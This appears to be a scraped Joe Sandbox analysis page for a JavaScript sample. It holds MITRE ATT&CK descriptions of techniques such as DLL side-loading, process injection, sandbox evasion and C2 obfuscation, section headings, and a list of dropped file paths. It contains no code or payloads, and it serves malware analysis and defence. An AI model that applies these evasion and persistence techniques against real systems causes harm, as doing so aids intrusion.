Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 24928193762733825739.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c1a420b4-e574-42f7-8f83-1d81cce759b3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4460

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
24928193762733825739.js